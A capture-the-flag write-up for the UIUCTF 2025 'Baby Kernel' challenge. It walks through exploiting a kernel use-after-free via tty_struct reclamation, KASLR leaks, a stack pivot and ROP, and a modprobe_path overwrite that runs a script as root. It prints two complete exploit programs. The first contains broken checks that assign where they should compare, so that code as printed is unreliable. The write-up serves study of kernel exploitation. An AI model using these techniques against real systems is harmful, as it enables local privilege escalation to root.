This challenge Baby Kernel from UIUCTF_2025 from exposes a small kernel module with one global heap pointer.
The module frees the allocation without clearing that pointer, leaving both a stale
read and a stale write. I reclaim the freed kmalloc-1k object with a
tty_struct, leak the kernel and heap addresses, replace tty->ops with a fake
operation table, and use tty_operations->close to pivot the kernel stack into
the corrupted object to get RIP controle.
The ROP chain calls _copy_from_user() to replace /sbin/modprobe with
/tmp/ex, returns safely to userspace, and executes an invalid binary so the
kernel runs /tmp/ex as root.
The complete chain is:
0x400-byte allocation
-> free without clearing the global pointer (UAF)
-> reclaim with a kmalloc-1k tty_struct
-> stale read leaks ptm_unix98_ops and a tty self-pointer
-> calculate the KASLR base and tty_struct address
-> stale write installs fake tty_operations inside tty_struct
-> close the reclaimed PTY
-> fake tty_operations->close pivots RSP into tty_struct
-> ROP calls _copy_from_user(modprobe_path, "/tmp/ex", 8)
-> return to userspace through the kernel trampoline
-> execute an invalid binary
-> /tmp/ex runs as root and makes the flag readable
1. Challenge overview
The challenges includes a readable source file that module registers:
/dev/vuln
It exposes four ioctl commands:
#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)
Their third arguments are:
| Command | Userspace call | Meaning of the third argument |
|---|---|---|
ALLOC | ioctl(fd, ALLOC, &size) | Pointer to a size_t |
FREE | ioctl(fd, FREE, 0) | Unused |
USE_READ | ioctl(fd, USE_READ, output) | Destination userspace buffer |
USE_WRITE | ioctl(fd, USE_WRITE, input) | Source userspace buffer |
USE_READ means that the kernel copies data to userspace:
copy_to_user((char *)arg, buf, size);
USE_WRITE means that the kernel copies data from userspace:
copy_from_user(buf, (char *)arg, size);
The direction is named from the userspace program's perspective: userspace
reads kernel data with USE_READ and writes kernel data with USE_WRITE.
The relevant kernel protections are:
KASLR enabled
SMEP enabled
SMAP enabled
KPTI disabled
SLUB enabled
CONFIG_STATIC_USERMODEHELPER disabled
Consequences:
- KASLR requires a kernel-text leak.
- SMEP prevents jumping directly to userspace shellcode from ring 0.
- SMAP prevents ordinary kernel instructions from reading userspace memory.
- A fake kernel object must live in kernel memory, not in a userspace buffer.
modprobe_pathremains a usable writable kernel string.
2. Reversing the vulnerable module
The module stores all state globally:
void *buf;
size_t size;
ALLOC
ALLOC first obtains a size from userspace and then creates a zeroed kernel
allocation:
copy_from_user(&size, (void *)arg, sizeof(size));
buf = kzalloc(size, GFP_KERNEL);
The exploit requests 0x400 bytes used this to have a good amount of space, but this could be any arbitrary size. SLUB services that request from
kmalloc-1k.
FREE
The vulnerable operation is:
kfree(buf);
The module does not follow it with:
buf = NULL;
The global therefore still contains the address of a freed object. A safe implementation whould be to clear the pointer too to prevent UAF.
USE_READ and USE_WRITE
Both operations only reject a NULL pointer:
if (!buf)
return -EFAULT;
Because the freed pointer is still non-NULL, these operations continue using it:
USE_READ -> copy 0x400 bytes from the freed address to userspace
USE_WRITE -> copy 0x400 bytes from userspace to the freed address
This gives matching use-after-free read and write primitives.
3. Reclaiming the object with tty_struct
The exploit creates and frees the vulnerable allocation:
vuln_alloc(vuln_fd, 0x400);
vuln_free(vuln_fd);
The heap now contains:
module buf -> freed 0x400-byte kmalloc-1k object
Opening /dev/ptmx allocates a tty_struct of the same slab-cache size:
for (size_t i = 0; i < 100; i++)
spray_fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
The exploit pins itself to CPU 0 so the free, spray, and later allocations use the same per-CPU SLUB state:
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);
After a successful reclaim:
module buf --------------|
V
[ tty_struct ]
^
sprayed /dev/ptmx fd ----|
The module and the TTY subsystem now reference the same kernel memory:
VULN_IOCTL_READ -> disclose tty_struct
VULN_IOCTL_WRITE -> modify tty_struct
close(ptmx_fd) -> make the TTY subsystem use the modified object
4. Leaking the kernel and heap addresses
Reading through the dangling module pointer returns the reclaimed
tty_struct. A successful run began like this:
offset value field
------ ---------------------------- ------------------------
+0x00 0x0000000000000001 kref/index
+0x08 0x0000000000000000 dev
+0x10 0xff2ab4f101983240 driver
+0x18 0xff2ab4f101bc7e00 port
+0x20 0xffffffff9f685100 ops = ptm_unix98_ops
+0x28 0xff2ab4f101b897d0 ldisc
...
+0x40 0xff2ab4f102003040 ldisc_sem.read_wait.next
The target has CONFIG_RANDSTRUCT disabled, so the observed field offsets are
stable for this kernel build.
KASLR leak from tty->ops
At byte offset 0x20, tty->ops points to the static kernel table
ptm_unix98_ops:
uint64_t ops_leak = *(uint64_t *)&buffer[0x20];
The symbol's known offset from the kernel base is 0x1285100:
ptm_unix98_ops leak 0xffffffff9f685100
- PTM_UNIX98_OPS_OFFSET 0x1285100
--------------------------------------------------
kernel base 0xffffffff9e400000
In code:
uint64_t kernel_base = ops_leak - 0x1285100;
Heap leak from the line-discipline semaphore
At byte offset 0x40, tty->ldisc_sem.read_wait.next points back to the list
head at its own address:
uint64_t self_leak = *(uint64_t *)&buffer[0x40];
Therefore:
read_wait.next 0xff2ab4f102003040
- field offset 0x40
----------------------------------------------------
tty_struct address 0xff2ab4f102003000
In code:
uint64_t tty_address = self_leak - 0x40;
The exploit now knows both the kernel image base and the address of the controlled kernel allocation.
5. Why overwriting tty->ops with a marker is not RIP control
The genuine operation table begins like this:
ptm_unix98_ops
+0x00 lookup
+0x08 install
+0x10 remove
+0x18 open
+0x20 close
tty_release() conceptually performs:
operations = tty->ops;
close_callback = operations->close;
close_callback(tty, file);
There are two pointer dereferences before control flow changes:
tty_struct
| read tty->ops at +0x20
V
tty_operations
| read close at +0x20
V
indirect call
If tty->ops itself is replaced with 0x4242424242424242, the kernel faults
while trying to read [0x4242424242424242 + 0x20]. It never reaches the
indirect call. A valid kernel address containing a fake operation table is
needed first.
6. Placing fake tty_operations inside tty_struct
SMAP prevents using a userspace address as tty->ops. The reclaimed
tty_struct, however, is writable kernel memory whose address was leaked.
So what we do is we replace the address on to a address further on the buf.
The fake operation table begins at tty + 0x38:
tty address 0xff2ab4f102003000
+ fake table offset 0x38
----------------------------------------------------
fake tty_operations 0xff2ab4f102003038
The close callback is 0x20 bytes into struct tty_operations:
fake tty_operations tty + 0x38
+ close offset + 0x20
---------------------------------------------
fake close slot tty + 0x58
The exploit installs both pointers literally:
*(uint64_t *)&buffer[0x20] = tty_address + 0x38;
*(uint64_t *)&buffer[0x58] = kernel_base + PIVOT_RBX_OFFSET;
The resulting object is:
tty_struct
+0x20 tty->ops ------------------------------|
|
V
+0x38 fake tty_operations |
+0x00 lookup |
+0x08 install |
+0x10 remove |
+0x18 open |
+0x20 close = stack pivot <----------|
Only close matters. The other fake callbacks are never invoked on this
path.
7. The callback register state
Before selecting a real gadget, I put 0x4242424242424242 in the fake close
slot. Closing the reclaimed PTY produced:
RIP: 0x4242424242424242
RAX: 0x4242424242424242
RBX: tty_struct address
RDI: tty_struct address
RSI: struct file address
call trace: tty_release
This confirms a controlled indirect call and also reveals the useful callback state:
RAX = selected tty_operations->close callback
RBX = struct tty_struct *
RDI = struct tty_struct *
RSI = struct file *
Both RDI and RBX point into the controlled object. The available gadget
set contains a particularly useful RBX stack pivot.
8. Pivoting the kernel stack into tty_struct
The kernel image was extracted and searched with kropr:
./extract-image.sh bzImage > vmlinux
kropr vmlinux > kropr_gadgets.txt
The selected pivot is at static offset 0xcf66f4:
push rbx
sbb byte ptr [rbx+0x41], bl
pop rsp
pop rbp
ret
At callback entry, RBX contains the tty_struct address.
The sbb side effect is harmless for this path:
- A
kmalloc-1kobject has a zero low byte, soBL = 0. - The callback dispatch tests the callback pointer before calling it, leaving
CF = 0. sbb [rbx+0x41], bltherefore subtracts zero.
The remaining instructions behave as follows, where T is the leaked
tty_struct address:
push rbx kernel stack receives T
pop rsp RSP = T
pop rbp RBP = *(T + 0x00), RSP = T + 0x08
ret RIP = *(T + 0x08), RSP = T + 0x10
This makes the qword at tty + 0x08 the next instruction pointer. That field
normally contains tty->dev; on this PTY it was zero and is repurposed after
the close callback has already been selected:
*(uint64_t *)&buffer[0x08] =
kernel_base + ADD_RSP_0X108_RET_OFFSET;
The next gadget is:
add rsp, 0x108
ret
At its entry, RSP = T + 0x10, so:
T + 0x10 + 0x108 = T + 0x118
The following ret loads the first ROP address from tty + 0x118. This skips
the live header fields instead of treating tty->driver, tty->port, and
tty->ops as ROP entries.
The complete controlled layout is:
tty + 0x00 value consumed by pop rbp
tty + 0x08 add rsp, 0x108; ret
tty + 0x20 tty->ops = tty + 0x38
tty + 0x38 fake tty_operations
tty + 0x58 fake ops->close = RBX pivot
tty + 0x118 first ROP-chain entry
9. Building the ROP call to _copy_from_user
The target is the writable kernel string:
modprobe_path = kernel_base + 0x1b3f600
It initially contains:
/sbin/modprobe\0
The replacement string is exactly eight bytes including its terminator:
/tmp/ex\0
Because SMAP is enabled, an ordinary kernel memcpy() or strcpy() gadget
cannot safely read the string from userspace. _copy_from_user() performs the
required stac and clac operations around the copy.
Its calling convention is:
_copy_from_user(
modprobe_path, /* RDI: kernel destination */
"/tmp/ex", /* RSI: userspace source */
8 /* RDX: byte count */
);
The chain placed at tty + 0x118 is:
uint64_t *rop = (uint64_t *)&buffer[0x118];
*rop++ = kernel_base + RET_OFFSET;
*rop++ = kernel_base + POP_RDI_RET_OFFSET;
*rop++ = kernel_base + MODPROBE_PATH_OFFSET;
*rop++ = kernel_base + POP_RSI_RET_OFFSET;
*rop++ = (uint64_t)helper_path;
*rop++ = kernel_base + POP_RDX_RET_OFFSET;
*rop++ = sizeof(helper_path);
*rop++ = kernel_base + COPY_FROM_USER_OFFSET;
The initial plain ret fixes stack alignment before entering
_copy_from_user(). The function returns zero when all eight bytes were
copied.
10. Returning safely to userspace
The exploit saves the userspace return state before triggering the vulnerability:
mov user.cs, cs
mov user.ss, ss
pushfq
pop user.rflags
mov user.rsp, rsp
The kernel contains:
swapgs_restore_regs_and_return_to_usermode
Entering at the symbol start is wrong because it first pops a complete register frame. In this build the relevant disassembly is:
swapgs_restore_regs_and_return_to_usermode:
jmp ...+27
...
+0x1b:
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop r11
pop r10
pop r9
pop r8
pop rax
pop rcx
pop rdx
pop rsi
+0x31:
mov rdi, rsp
The exploit enters at +0x31, after all register pops:
#define SWAPGS_IRET_OFFSET 0x10016a1ULL
The required stack frame is:
RSP+0x00 0 user RDI
RSP+0x08 0 orig_rax
RSP+0x10 return_to_userspace user RIP
RSP+0x18 saved CS 0x33
RSP+0x20 saved RFLAGS
RSP+0x28 saved RSP
RSP+0x30 saved SS 0x2b
It is appended to the ROP chain as:
*rop++ = kernel_base + SWAPGS_IRET_OFFSET;
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;
The kernel trampoline constructs an iretq frame, performs the required
swapgs, and returns to return_to_userspace() in userspace. That small assembly
stub aligns the userspace stack and calls the C post-exploitation function.
11. Why the PTY must be closed before process exit
Initially I allowed main() to return and relied on normal process cleanup to
close the sprayed descriptors. RIP control still worked, but
_copy_from_user() returned 8 and changed the first eight bytes of
modprobe_path to zero.
The reason is ordering inside process exit:
main returns
-> do_exit()
-> exit_mm() removes the userspace memory map
-> exit_files() closes the PTY
-> ROP calls _copy_from_user(user pointer)
-> all eight bytes fail because the user mapping is gone
The same missing memory map also prevents the final iretq from executing the
userspace trampoline.
The fix is to close the PTYs explicitly while main() and its memory map are
still alive:
for (size_t i = 0; i < TTY_SPRAY_COUNT; i++)
close(spray_fds[i]);
When the reclaimed object is reached, the close syscall enters the forged callback and never returns normally.
This also explains why code placed after the close loop did not execute. The
ROP chain ends in iretq to return_to_userspace; it does not resume at the
instruction following close(). The modprobe trigger therefore belongs in
the function used as the saved user RIP, this is what I did wrong initially.
12. Triggering the overwritten modprobe_path
Before corrupting the TTY, the exploit creates two executable files.
/tmp/ex is the root helper:
#!/bin/sh
chmod 777 /flag.txt
/tmp/pwn contains an invalid executable header:
ff ff ff ff
After the ROP chain changes modprobe_path to /tmp/ex, userspace executes
/tmp/pwn. The kernel cannot find a registered binary-format handler and
requests a module for the unknown format. The usermode-helper path now points
to /tmp/ex, so that script runs as root and changes the flag permissions.
The post-exploitation function then prints the flag:
static void post_exploit(void)
{
system("/tmp/pwn");
system("cat /flag.txt");
_exit(0);
}
13. Final memory and control-flow picture
userspace buffer reclaimed kernel tty_struct
---------------- ---------------------------
buffer+0x08 add rsp,0x108;ret -copy-► tty+0x08
buffer+0x20 tty+0x38 -copy-► tty->ops
buffer+0x58 RBX pivot -copy-► fake ops->close
buffer+0x118 ROP chain -copy-► controlled ROP area
close(ptmx_fd)
|
V
tty_release()
| reads tty->ops at tty+0x20
V
fake tty_operations at tty+0x38
| reads close at fake_ops+0x20 = tty+0x58
V
push rbx; ...; pop rsp; pop rbp; ret
| RSP = tty
| RET target = tty+0x08
V
add rsp,0x108; ret
| RSP = tty+0x118
V
ROP: _copy_from_user(modprobe_path, "/tmp/ex", 8)
|
V
swapgs_restore_regs_and_return_to_usermode+0x31
|
V
iretq -> return_to_userspace -> post_exploit
|
V
execute /tmp/pwn -> kernel runs /tmp/ex as root -> print flag
14. Complete exploit
The following is the complete exploit:
#define _GNU_SOURCE
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#define DEVICE_PATH "/dev/vuln"
#define PTMX_PATH "/dev/ptmx"
#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)
#define TTY_STRUCT_SIZE 0x400
#define TTY_SPRAY_COUNT 100
#define ROP_CHAIN_OFFSET 0x118
#define PTM_UNIX98_OPS_OFFSET 0x1285100ULL
#define MODPROBE_PATH_OFFSET 0x1b3f600ULL
#define COPY_FROM_USER_OFFSET 0x519c40ULL
#define SWAPGS_IRET_OFFSET 0x10016a1ULL
/* push rbx; sbb byte ptr [rbx+0x41], bl; pop rsp; pop rbp; ret */
#define PIVOT_RBX_OFFSET 0xcf66f4ULL
/* add rsp, 0x108; ret */
#define ADD_RSP_0X108_RET_OFFSET 0x28e2a6ULL
#define RET_OFFSET 0x1104109ULL
#define POP_RDI_RET_OFFSET 0xeaf204ULL
#define POP_RSI_RET_OFFSET 0xeacad0ULL
#define POP_RDX_RET_OFFSET 0xe10137ULL
struct user_state {
uint64_t cs;
uint64_t ss;
uint64_t rflags;
uint64_t rsp;
};
static const char helper_path[] = "/tmp/ex";
static void die(const char *message)
{
perror(message);
exit(EXIT_FAILURE);
}
static void pin_to_cpu0(void)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
die("sched_setaffinity");
}
static void save_user_state(struct user_state *state)
{
__asm__ volatile(
"mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%rsp, %3\n"
: "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
"=r"(state->rsp));
}
__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
system("/tmp/pwn");
system("cat /flag.txt");
_exit(0);
}
__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
__asm__(
".intel_syntax noprefix;"
"xor rbp, rbp;"
"and rsp, ~0xF;"
"call post_exploit;"
"ud2;"
".att_syntax;");
}
static void write_file(const char *path, const void *data, size_t size)
{
int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0777);
if (fd == -1)
die(path);
if (write(fd, data, size) != (ssize_t)size)
die("write file");
if (fchmod(fd, 0777) == -1)
die("fchmod");
if (close(fd) == -1)
die("close file");
}
static int vuln_alloc(int fd, size_t size)
{
return ioctl(fd, ALLOC, &size);
}
static int vuln_read(int fd, void *buffer)
{
return ioctl(fd, USE_READ, buffer);
}
static int vuln_write(int fd, const void *buffer)
{
return ioctl(fd, USE_WRITE, buffer);
}
static int vuln_free(int fd)
{
return ioctl(fd, FREE, 0);
}
int main(void)
{
static const char helper_script[] =
"#!/bin/sh\n"
"chmod 777 /flag.txt\n";
static const unsigned char invalid_binary[] = {0xff, 0xff, 0xff, 0xff};
struct user_state user;
uint8_t buffer[TTY_STRUCT_SIZE] = {0};
int spray_fds[TTY_SPRAY_COUNT];
save_user_state(&user);
pin_to_cpu0();
int vuln_fd = open(DEVICE_PATH, O_RDWR);
if (vuln_fd == -1)
die(DEVICE_PATH);
if (vuln_alloc(vuln_fd, sizeof(buffer)) != 0)
die("ALLOC");
if (vuln_free(vuln_fd) != 0)
die("FREE");
for (size_t i = 0; i < TTY_SPRAY_COUNT; i++) {
spray_fds[i]= open(PTMX_PATH, O_RDONLY | O_NOCTTY);
if (spray_fds[i]= -1)
die(PTMX_PATH);
}
if (vuln_read(vuln_fd, buffer) = 0)
die("USE_READ");
/* tty_struct->ops at +0x20 points to the kernel's ptm_unix98_ops. */
uint64_t ops_leak= *(uint64_t *)&buffer[0x20];
/*
* tty_struct->ldisc_sem.read_wait.next at +0x40 points to itself,
* so its value is the tty_struct address plus 0x40.
*/
uint64_t self_leak= *(uint64_t *)&buffer[0x40];
/* Remove the known symbol offset to undo KASLR. */
uint64_t kernel_base= ops_leak - PTM_UNIX98_OPS_OFFSET;
/* Remove the field offset to recover the start of this tty_struct. */
uint64_t tty_address= self_leak - 0x40;
printf("[+] kernel base: 0x%016" PRIx64 "\n", kernel_base);
printf("[+] tty_struct: 0x%016" PRIx64 "\n", tty_address);
write_file(helper_path, helper_script, sizeof(helper_script) - 1);
write_file("/tmp/pwn", invalid_binary, sizeof(invalid_binary));
*(uint64_t *)&buffer[0x08]=
kernel_base + ADD_RSP_0X108_RET_OFFSET;
*(uint64_t *)&buffer[0x20]= tty_address + 0x38;
*(uint64_t *)&buffer[0x58]= kernel_base + PIVOT_RBX_OFFSET;
uint64_t *rop= (uint64_t *)&buffer[ROP_CHAIN_OFFSET];
*rop++= kernel_base + RET_OFFSET;
*rop++= kernel_base + POP_RDI_RET_OFFSET;
*rop++= kernel_base + MODPROBE_PATH_OFFSET;
*rop++= kernel_base + POP_RSI_RET_OFFSET;
*rop++= (uint64_t)helper_path;
*rop++= kernel_base + POP_RDX_RET_OFFSET;
*rop++= sizeof(helper_path);
*rop++= kernel_base + COPY_FROM_USER_OFFSET;
*rop++= kernel_base + SWAPGS_IRET_OFFSET;
*rop++= 0;
*rop++= 0;
*rop++= (uint64_t)return_to_userspace;
*rop++= user.cs;
*rop++= user.rflags;
*rop++= user.rsp;
*rop++= user.ss;
if (vuln_write(vuln_fd, buffer) = 0)
die("USE_WRITE");
for (size_t i= 0; i < TTY_SPRAY_COUNT; i++)
close(spray_fds[i]);
fputs("[-] failed to trigger the corrupted tty_struct\n", stderr);
return EXIT_FAILURE;
}

15. Author solution
The author solution is much simpler and more reliable than my ROP chain. I
studied it after solving the challenge with the stack-pivot approach. What the
author did is especially interesting because it turns the PTY ioctl arguments
directly into a kernel write, so no stack pivot, ROP chain, or iretq frame is
needed.
Step 1: Reuse the same UAF but change the PTY trigger
Both solutions use the same two file descriptors for the same initial roles:
vuln_fd -> /dev/vuln -> read and overwrite the reclaimed tty_struct
ptmx_fd -> /dev/ptmx -> invoke a callback from the corrupted tty_struct
The dangling pointer in /dev/vuln is used exactly as in my solution:
ioctl(vuln_fd, USE_WRITE, buffer);
This installs a fake operation table in the reclaimed tty_struct. The actual
difference is how the PTY descriptor triggers that table:
My solution: close(ptmx_fd)
-> tty->ops->close(tty, file)
Author solution: ioctl(ptmx_fd, controlled_command, controlled_argument)
-> tty->ops->ioctl(tty, controlled_command,
controlled_argument)
The author's PTY ioctl() call provides two controlled callback arguments,
which are used to construct the kernel write primitive in the following steps.
Step 2: Target tty_operations->ioctl instead of close
My solution overwrites tty_operations->close, whose useful callback state
was:
RDI = struct tty_struct *
RSI = struct file *
RBX = struct tty_struct *
The author instead targets this callback:
int (*ioctl)(struct tty_struct *tty, unsigned int cmd,
unsigned long arg);
At callback entry, the x86-64 calling convention provides:
RDI = tty
RSI = cmd controlled by ioctl's second argument
RDX = arg controlled by ioctl's third argument
This is a better interface for the gadget available in this kernel because it provides both a controlled value and a controlled destination.
Step 3: Build the fake operation table
The author places the fake tty_operations table at tty + 0x300, near the
end of the controlled 0x400-byte object:
*(uint64_t *)&buffer[0x20] = tty_address + 0x300;
This changes:
tty->ops = tty_address + 0x300
For this kernel build, tty_operations->ioctl is at offset 0x60 inside the
operation table:
fake tty_operations tty + 0x300
+ ioctl offset + 0x60
-------------------------------------------
fake ioctl callback tty + 0x360
The exploit therefore writes the gadget address at buffer offset 0x360:
*(uint64_t *)&buffer[0x360] = mov_qword_ptr_rdx_rsi_ret;
The forged object is:
tty_struct
+0x20 tty->ops ----------------------------┐
|
V
+0x300 fake tty_operations |
... |
+0x60 ioctl = write gadget <--------|
Step 4: Use a single write gadget
The selected gadget is:
mov qword ptr [rdx], rsi
jmp ret
When the fake ioctl callback is invoked:
RSI = attacker-controlled cmd
RDX = attacker-controlled arg
The gadget consequently performs:
*(uint64_t *)arg = cmd;
The jump reaches a plain ret, so the callback returns through the original
kernel stack. Unlike my close-callback solution, nothing pivots RSP, and the
ioctl syscall can finish normally.
The full call path is:
ioctl(ptmx_fd, cmd, arg)
-> sys_ioctl()
-> tty_ioctl(file, cmd, arg)
-> tty = file->private_data->tty
-> callback = tty->ops->ioctl
-> callback(tty, cmd, arg)
-> mov qword ptr [arg], cmd
-> ret
The values used as cmd do not need to represent legitimate PTY commands.
They are chosen for their byte representation and arrive directly in RSI
when the forged callback is called.
Step 5: Write /tmp/ex in two pieces
The cmd parameter is an unsigned int, so the controlled part is four
bytes. The gadget writes a complete eight-byte qword, with the upper four
bytes zero. The author uses two overlapping writes:
ioctl(ptmx_fd, 0x706d742f, modprobe_path);
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4);
The first command is "/tmp" in little-endian form:
value: 0x00000000706d742f
bytes: 2f 74 6d 70 00 00 00 00
/ t m p \0 \0 \0 \0
It produces:
modprobe_path = "/tmp\0\0\0\0"
The second command is "/ex\0":
value: 0x000000000078652f
bytes: 2f 65 78 00 00 00 00 00
/ e x \0
It is written four bytes later:
modprobe_path + 0x00 "/tmp"
modprobe_path + 0x04 "/ex\0"
--------------------------------
final value "/tmp/ex\0"
Step 6: Trigger the modified helper
Because each write gadget returns normally, the exploit continues in
userspace immediately after both PTY ioctl calls. It creates the helper and an
invalid executable, then triggers the normal modprobe_path technique:
execute invalid binary
-> kernel requests an unknown binary-format module
-> kernel runs the overwritten modprobe_path
-> /tmp/ex runs as root
-> helper copies or exposes the flag
Why the author solution is shorter
Author solution My solution
--------------- -----------
fake tty->ops fake tty->ops
fake ops->ioctl fake ops->close
controlled RSI and RDX useful RBX and RDI
one mov [rdx],rsi gadget RBX stack pivot
two direct kernel writes multi-gadget ROP chain
normal callback return _copy_from_user call
normal syscall return swapgs/iretq return frame
16 Full new exploit with new technique
#define _GNU_SOURCE
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#define DEVICE_PATH "/dev/vuln"
#define PTMX_PATH "/dev/ptmx"
#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)
#define TTY_STRUCT_SIZE 0x400
#define PTM_UNIX98_OPS_OFFSET 0x1285100ULL
#define MODPROBE_PATH_OFFSET 0x1b3f600ULL
/* mov qword ptr [rdx], rsi; jmp to a ret instruction */
#define MOV_QWORD_PTR_RDX_RSI_RET_OFFSET 0x144fa9ULL
static const char helper_path[] = "/tmp/ex";
static void die(const char *message)
{
perror(message);
exit(EXIT_FAILURE);
}
static void pin_to_cpu0(void)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
die("sched_setaffinity");
}
static void write_file(const char *path, const void *data, size_t size)
{
int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0777);
if (fd == -1)
die(path);
if (write(fd, data, size) != (ssize_t)size)
die("write file");
if (fchmod(fd, 0777) == -1)
die("fchmod");
if (close(fd) == -1)
die("close file");
}
static int vuln_alloc(int fd, size_t size)
{
return ioctl(fd, ALLOC, &size);
}
static int vuln_read(int fd, void *buffer)
{
return ioctl(fd, USE_READ, buffer);
}
static int vuln_write(int fd, const void *buffer)
{
return ioctl(fd, USE_WRITE, buffer);
}
static int vuln_free(int fd)
{
return ioctl(fd, FREE, 0);
}
int main(void)
{
static const char helper_script[] =
"#!/bin/sh\n"
"chmod 777 /flag.txt\n";
static const unsigned char invalid_binary[] = {0xff, 0xff, 0xff, 0xff};
uint8_t buffer[TTY_STRUCT_SIZE] = {0};
pin_to_cpu0();
int vuln_fd = open(DEVICE_PATH, O_RDWR);
if (vuln_fd == -1)
die(DEVICE_PATH);
if (vuln_alloc(vuln_fd, sizeof(buffer)) != 0)
die("ALLOC");
if (vuln_free(vuln_fd) != 0)
die("FREE");
/* Reclaim the freed 0x400-byte allocation with one tty_struct. */
int ptmx_fd = open(PTMX_PATH, O_RDONLY | O_NOCTTY);
if (ptmx_fd == -1)
die(PTMX_PATH);
if (vuln_read(vuln_fd, buffer) != 0)
die("USE_READ");
/* tty_struct->ops at +0x20 points to the kernel's ptm_unix98_ops. */
uint64_t ops_leak = *(uint64_t *)&buffer[0x20];
/* The self-referencing list pointer at +0x40 leaks tty_struct + 0x40. */
uint64_t self_leak = *(uint64_t *)&buffer[0x40];
uint64_t kernel_base = ops_leak - PTM_UNIX98_OPS_OFFSET;
uint64_t tty_address = self_leak - 0x40;
uint64_t modprobe_path = kernel_base + MODPROBE_PATH_OFFSET;
printf("[+] kernel base: 0x%016" PRIx64 "\n", kernel_base);
printf("[+] tty_struct: 0x%016" PRIx64 "\n", tty_address);
write_file(helper_path, helper_script, sizeof(helper_script) - 1);
write_file("/tmp/pwn", invalid_binary, sizeof(invalid_binary));
/*
* Put a fake tty_operations table at tty_struct + 0x300.
* tty_struct->ops is the pointer stored at buffer offset 0x20.
*/
*(uint64_t *)&buffer[0x20] = tty_address + 0x300;
/*
* tty_operations->ioctl is +0x60 in the table, so its callback lives at:
* buffer + 0x300 + 0x60 = buffer + 0x360
*
* On entry to this callback:
* RSI = ioctl command
* RDX = ioctl argument
*
* The gadget therefore performs *(uint64_t *)RDX = RSI and returns.
*/
*(uint64_t *)&buffer[0x360] =
kernel_base + MOV_QWORD_PTR_RDX_RSI_RET_OFFSET;
if (vuln_write(vuln_fd, buffer) != 0)
die("USE_WRITE");
/*
* The corrupted PTY now turns ioctl(ptmx_fd, value, address) into:
* *(uint64_t *)address = value
*
* Two overlapping little-endian writes produce "/tmp/ex\0".
* The return values are irrelevant: the kernel writes happen first.
*/
ioctl(ptmx_fd, 0x706d742f, modprobe_path); /* "/tmp" */
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4); /* "/ex\0" */
system("/tmp/pwn");
system("cat /flag.txt");
return EXIT_SUCCESS;
}
The author solution avoids:
- A kernel stack pivot.
- A controlled kernel ROP area.
- Stack-alignment calculations.
- Calling
_copy_from_user()under SMAP. - Constructing a ring-3
iretqframe. - Abandoning the original close syscall stack.